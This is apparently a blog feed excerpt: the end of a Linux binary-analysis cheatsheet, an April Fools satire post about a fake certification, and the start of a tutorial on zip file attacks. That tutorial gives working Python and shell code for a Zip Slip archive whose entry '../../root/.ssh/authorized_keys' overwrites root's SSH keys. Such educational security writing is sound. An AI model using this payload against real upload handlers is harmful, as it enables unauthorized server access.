&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#92;x01&#92;x02&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#92;x41&#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; xxd&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;00000000: 41                     A&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;perl&lt;/strong&gt; (good for repetitive sequences)&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;perl &lt;span class=&quot;token parameter variable&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;print &quot;&#92;x41&quot;x4 . &quot;&#92;x42&#92;x43&quot;&#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; xxd&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;00000000: 4141 4141 4243         AAAABC&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;alert alert-danger d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-radiation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;I&#39;ve mentioned this elsewhere, but I&#39;ll repeat it here: I don&#39;t recommend using Python 3 to generate strings on-the-fly, as its string/byte-string mechanics are unintuitive. Prefer &lt;code&gt;perl&lt;/code&gt; or &lt;code&gt;echo&lt;/code&gt; instead.&lt;/p&gt;
&lt;p&gt;For example: &lt;code&gt;python -c &#39;print(&amp;quot;&#92;xc0&amp;quot;)&#39;&lt;/code&gt; prints &lt;code&gt;&#92;xc3&#92;x80&lt;/code&gt; (À) instead of &lt;code&gt;&#92;xc0&lt;/code&gt;. Why? Because the Python string &lt;code&gt;&amp;quot;&#92;xc0&amp;quot;&lt;/code&gt; is interpreted as U+00C0, which is &lt;code&gt;&#92;xc3&#92;x80&lt;/code&gt; in UTF-8.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#92;xc0&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;&#92;xc3&#92;x80&#39;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Printing bytes in Python is &lt;a href=&quot;https://stackoverflow.com/q/908331/10239789&quot;&gt;difficult to do concisely&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;simple-binary-analysis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#simple-binary-analysis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Simple Binary Analysis&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Look for strings.&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;strings &lt;span class=&quot;token function&quot;&gt;file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;strings &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;numchars&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;file&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Look for strings and print addresses (in hex)!&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;od &lt;span class=&quot;token parameter variable&quot;&gt;-A&lt;/span&gt; x &lt;span class=&quot;token parameter variable&quot;&gt;-S&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;file&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Tracing&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;strace&lt;/code&gt; - trace system calls (open, read, write, etc.)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ltrace&lt;/code&gt; - trace library (glibc) calls&lt;/li&gt;
&lt;/ul&gt;
</content>
        
          <category>programming</category>
        
          <category>cheatsheet</category>
        
          <category>linux</category>
        
          <category>infosec</category>
        
          <category>learning</category>
        
          <category>notes</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>I&#39;m now a Certified Offensive Waterblower!</title>
        <description>Emotional penetration testing is no joke. Millions suffer each year.</description>
        <link href="https://trebledj.me/posts/im-a-certified-offensive-waterblower/"/>
        <updated>2024-04-01T00:00:00Z</updated>
        <id>https://trebledj.me/posts/im-a-certified-offensive-waterblower/</id>
        <content xml:lang="en" type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Waterblowing&lt;/em&gt; is a Cantonese slang for bullshitting or small talk. But here it mainly refers to the former.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I&#39;m thrilled to share a major achievement in my career: I am now officially a Certified Offensive Waterblower (COW)! 🐄💧🔥&lt;/p&gt;
&lt;p&gt;After months of rigorous training, unwavering dedication, and countless facepalms, I have successfully mastered the art of offensive waterblowing. 💪💧💨&lt;/p&gt;
&lt;p&gt;Curious about offensive waterblowing? It&#39;s a cutting-edge technique where practitioners combine the power of blunt, no-bullshit remarks and third-degree burns to deliver roasts hot enough to cook an A5 wagyu to perfection. 🔥🥩 (Check out the &lt;a href=&quot;https://www.youtube.com/watch?v=dQw4w9WgXcQ&quot;&gt;official registration process&lt;/a&gt;!)&lt;/p&gt;
&lt;p&gt;Here is a demonstration of practical offensive techniques out in the wild.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;“Looks like you grew some white hair. Did you recently pick up Rust?”&lt;/li&gt;
&lt;li&gt;“The S in C stands for Secure.”&lt;/li&gt;
&lt;li&gt;“You don’t use SQL prepared statements? What are you? A PHP dev?” 🐬&lt;/li&gt;
&lt;li&gt;“Triangles are the most versatile shape, except when they’re in the same room as a percussionist.”&lt;/li&gt;
&lt;li&gt;“How do you keep a violin from being stolen? Put it in a viola case.”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With the COW certification, I’ve honed the ability to execute penetration tests against a target’s mental state and deliver unforgiving emotional damage. By testing every insult vector, we develop the target’s emotional quotient, the EQualisation of the mind.&lt;/p&gt;
&lt;p&gt;Professional COWs are trained in practical offensive tools, such as Burping mid-conversation, SQueaLing inappropriately, and employing Common Vituperative Exclamations (CVEs).&lt;/p&gt;
&lt;p&gt;For instance:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;“You are old.” (CVE-1970-421337)&lt;/li&gt;
&lt;li&gt;“You suck.” (CVE-1980-5432)&lt;/li&gt;
&lt;li&gt;“Your country sucks.” (CVE-1984-5432)&lt;/li&gt;
&lt;li&gt;“Your code sucks.” (CVE-2000-311299)&lt;/li&gt;
&lt;li&gt;“You talk too much.” (CVE-2024-80420)&lt;/li&gt;
&lt;li&gt;“Why are you so quiet?” (CVE-2024-80421)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In latter stages, we are trained in more advanced techniques, such as deploying botnets to take over 300 million electric toothbrushes running Java, poisoning Devin with insecure code (it’s called job security), and sidechaining modern SSH libraries (so that we can be backdoored by xz-utils).&lt;/p&gt;
&lt;p&gt;Now, you might be wondering why I embarked on this unique certification journey in offensive waterblowing. Well, as an IT professional in a world full of superfluous certificates and endless new JS runtimes, I&#39;ve made the most of my time by learning what matters most: building emotional intelligence and sipping milk tea.&lt;/p&gt;
&lt;p&gt;With my COW certification, I aim to redefine the boundaries of professional interaction in the business world. By injecting Common Vituperative Exclamations, we can foster a more creative and resilient industry. 🔒💡&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;On a historic note, although this certification was originally designated for individuals of a certain gender with a certain intellectual capacity, the Association of Bombastic Certifications Inclusion and Diversity Department has opened the floor to various groups, so that &lt;em&gt;everyone&lt;/em&gt; can now be an offensive waterblower. How nice is that! 🌐💧&lt;/p&gt;
&lt;p&gt;Get your COW certificate today! (&lt;a href=&quot;https://www.youtube.com/watch?v=dQw4w9WgXcQ&quot;&gt;Click here to get it now!&lt;/a&gt;) Only costs $50,000 USD, your job, and a childhood. 💸🐮&lt;/p&gt;
&lt;p&gt;/s&lt;/p&gt;
</content>
        
          <category>satire</category>
        
          <category>infosec</category>
        
          <category>programming</category>
        
          <category>pentesting</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>From Compression to Compromise: Unmasking Zip File Threats</title>
        <description>Deep dive into zip file attacks and mitigations (with examples!).</description>
        <link href="https://trebledj.me/posts/attack-of-the-zip/"/>
        <updated>2024-02-15T00:00:00Z</updated>
        <id>https://trebledj.me/posts/attack-of-the-zip/</id>
        <content xml:lang="en" type="html">&lt;p&gt;Zip files are &lt;em&gt;everywhere&lt;/em&gt; in our daily lives, seamlessly integrated into our personal, academic, and professional environments. From Java apps to Microsoft Office documents, zip files have become an indispensable tool.&lt;/p&gt;
&lt;p&gt;But as we know from &lt;em&gt;Silicon Valley&lt;/em&gt;, zip files have the potential to be dangerous.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Filmmakers&#39; impression of a zip bomb.&quot; href=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb-707w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80&quot; src=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb-707w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 707 / 500&quot; alt=&quot;Filmmakers&#39; impression of a zip bomb.&quot; title=&quot;Filmmakers&#39; impression of a zip bomb.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb-256w.webp 256w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb-512w.webp 512w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb-707w.webp 707w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 707px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;YouTube: &lt;a href=&quot;https://www.youtube.com/watch?v=jnDk8BcqoR0&quot;&gt;Silicon Valley - The Ultimate Hack&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;In this post, we&#39;ll delve into the intriguing world of zip file attacks, exploring various attacks and mitigations involving zip files. These attacks allow attackers to potentially gain unauthorised file read/write privileges—or even cause denial of service. This calls for mitigations to bolster our systems’ defences.&lt;/p&gt;
&lt;p&gt;The discussion will primarily centre around attacks on Linux/Unix, although considerations for Windows are also included.&lt;/p&gt;
&lt;div class=&quot;alert alert-danger d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-radiation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Disclaimer: The content provided in this blog post is intended purely for educational purposes. The author does not assume any responsibility for the potential misuse of the information presented herein. Readers are advised to exercise caution and utilise the knowledge gained responsibly and within legal boundaries.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;zip-attacks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#zip-attacks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Zip Attacks&lt;/h2&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Fred dissects evil zip files. Spoofy-spoofy doo!&quot; href=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/evil-zip-unveiled-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-50&quot; src=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/evil-zip-unveiled-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 666&quot; alt=&quot;Fred dissects evil zip files. Spoofy-spoofy doo!&quot; title=&quot;Fred dissects evil zip files. Spoofy-spoofy doo!&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/evil-zip-unveiled-256w.webp 256w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/evil-zip-unveiled-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;zip-slip&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#zip-slip&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Zip Slip ⛸&lt;/h3&gt;
&lt;h4 id=&quot;overview-of-zip-slip&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#overview-of-zip-slip&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Overview of Zip Slip&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Zip Slip&lt;/strong&gt; is a fancy name for &lt;a href=&quot;https://cwe.mitre.org/data/definitions/22.html&quot;&gt;directory traversal&lt;/a&gt; but applied to zip uploads. The idea is to &lt;em&gt;escape&lt;/em&gt; a directory by visiting parent directories through &lt;code&gt;../&lt;/code&gt; (or &lt;code&gt;..&#92;&lt;/code&gt; on Windows). By exploiting the lack of filename validation, Zip Slip enables us to perform arbitrary file writes.&lt;/p&gt;
&lt;p&gt;Let&#39;s look at an example.&lt;/p&gt;
&lt;p&gt;A typical zip file may look like this:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;foo.zip
└── data1.csv
└── data2.txt
└── ...&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;But in a Zip Slip payload, files are prefixed with nasty double-dots (&lt;code&gt;../&lt;/code&gt;). As an example, we&#39;ll try to overwrite SSH keys by writing to &lt;code&gt;/root/.ssh/authorized_keys&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;evil-slip.zip
└── placeholder.txt
└── ../../root/.ssh/authorized_keys&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;(Note: &lt;code&gt;placeholder.txt&lt;/code&gt; has been included as a control variable, i.e. to show what happens normally to files.)&lt;/p&gt;
&lt;p&gt;Most decompression applications will refuse to unpack such a zip. But vulnerable ones would gladly accept it and overwrite SSH keys on their system.&lt;/p&gt;
&lt;p&gt;Suppose a vulnerable application unzips &lt;code&gt;evil-slip.zip&lt;/code&gt; to &lt;code&gt;/app/uploads/&lt;/code&gt;. The unzipped &lt;code&gt;authorized_keys&lt;/code&gt; file would end up in &lt;code&gt;/app/uploads/../../root/.ssh/authorized_keys&lt;/code&gt;, i.e. &lt;code&gt;/root/.ssh/authorized_keys&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/
├── app/
│	└── uploads/
│	    └── placeholder.txt
└── root/
    └── .ssh/
		└── authorized_keys&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Result of unzipping &lt;code&gt;evil-slip.zip&lt;/code&gt;. Note that &lt;code&gt;placeholder.txt&lt;/code&gt; resides in the unzip directory, while &lt;code&gt;authorized_keys&lt;/code&gt; has sneaked its way into &lt;code&gt;/root/.ssh/&lt;/code&gt;.&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Overwriting &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt; is a common arbitrary file write vector which can be applied in other file upload scenarios too! (See &lt;a href=&quot;https://attack.mitre.org/techniques/T1098/004/&quot;&gt;&lt;em&gt;this MITRE reference&lt;/em&gt;&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;This isn&#39;t the only way to gain arbitrary code execution. There are other potential targets for an arbitrary file write (server credentials, config files, cron jobs, etc.).&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h4 id=&quot;diy-build-your-own-zip-slip-payload&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#diy-build-your-own-zip-slip-payload&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; DIY: Build your own Zip Slip payload!&lt;/h4&gt;
&lt;details&gt;&lt;summary&gt;With Python&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Python&#39;s built-in &lt;code&gt;zipfile&lt;/code&gt; module provides a convenient way to create zip files.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; zipfile

&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipFile&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;evil-slip.zip&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;write&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;my-ssh-key.pub&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;../../root/.ssh/authorized_keys&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;#          │                 └ filename to store on the archive&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;#          └ file to compress from our local file system&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This creates a new &lt;code&gt;evil-slip.zip&lt;/code&gt; zip file. After importing the &lt;code&gt;zipfile&lt;/code&gt; module, we create an instance with the desired file name (&lt;code&gt;evil-slip.zip&lt;/code&gt;) and use write-mode (&lt;code&gt;&amp;quot;w&amp;quot;&lt;/code&gt;). (There is also &lt;code&gt;r&lt;/code&gt; and &lt;code&gt;a&lt;/code&gt; for reading/adding files.)&lt;/p&gt;
&lt;p&gt;We also use Python&#39;s &lt;code&gt;with&lt;/code&gt; statement, so that the zip file automatically saves when leaving the block, whether due to normal or erroneous circumstances.&lt;/p&gt;
&lt;p&gt;Inside, we use &lt;code&gt;zip.write&lt;/code&gt; to add files to the zip. We add a local file &lt;code&gt;my-ssh-key.pub&lt;/code&gt; and store it as &lt;code&gt;../../root/.ssh/authorized_keys&lt;/code&gt; in the archive.&lt;/p&gt;
&lt;p&gt;One nice thing about the &lt;code&gt;zipfile&lt;/code&gt; module is that it constructs the file &lt;em&gt;in-memory&lt;/em&gt; (without creating temporary files). This allows us to craft complex zips without trashing our local filesystem.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;details&gt;&lt;summary&gt;With Shell Commands&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Another approach is to use shell commands and reverse the process: start with the files we want unzipped.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-shell&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;out&gt;&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-shell&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;touch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;/&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;/root/.ssh/authorized_keys&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Normally we would run `ssh-keygen` to generate a key pair...&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;and use the generated public key as our authorized_keys.&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;But let&#39;s assume ../.ssh/authorized_keys holds a public key.&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;zip&lt;/span&gt; evil-slip &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;/&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;/root/.ssh/authorized_keys&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  adding: ../../root/.ssh/authorized_keys (deflated 18%)&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;unzip&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-l&lt;/span&gt; evil-slip&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Archive:  evil-slip.zip&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  Length      Date    Time    Name&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;---------  ---------- -----   ----&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;      575  01-23-2024 17:53   ../../root/.ssh/authorized_keys&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;---------                     -------&lt;/span&gt;
